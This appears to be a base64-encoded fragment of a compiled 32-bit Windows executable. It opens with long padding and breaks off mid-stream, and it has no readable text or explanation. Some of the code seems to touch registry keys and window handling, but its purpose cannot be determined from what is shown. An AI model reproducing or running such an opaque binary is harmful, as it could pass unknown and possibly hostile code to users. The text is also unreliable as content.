AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 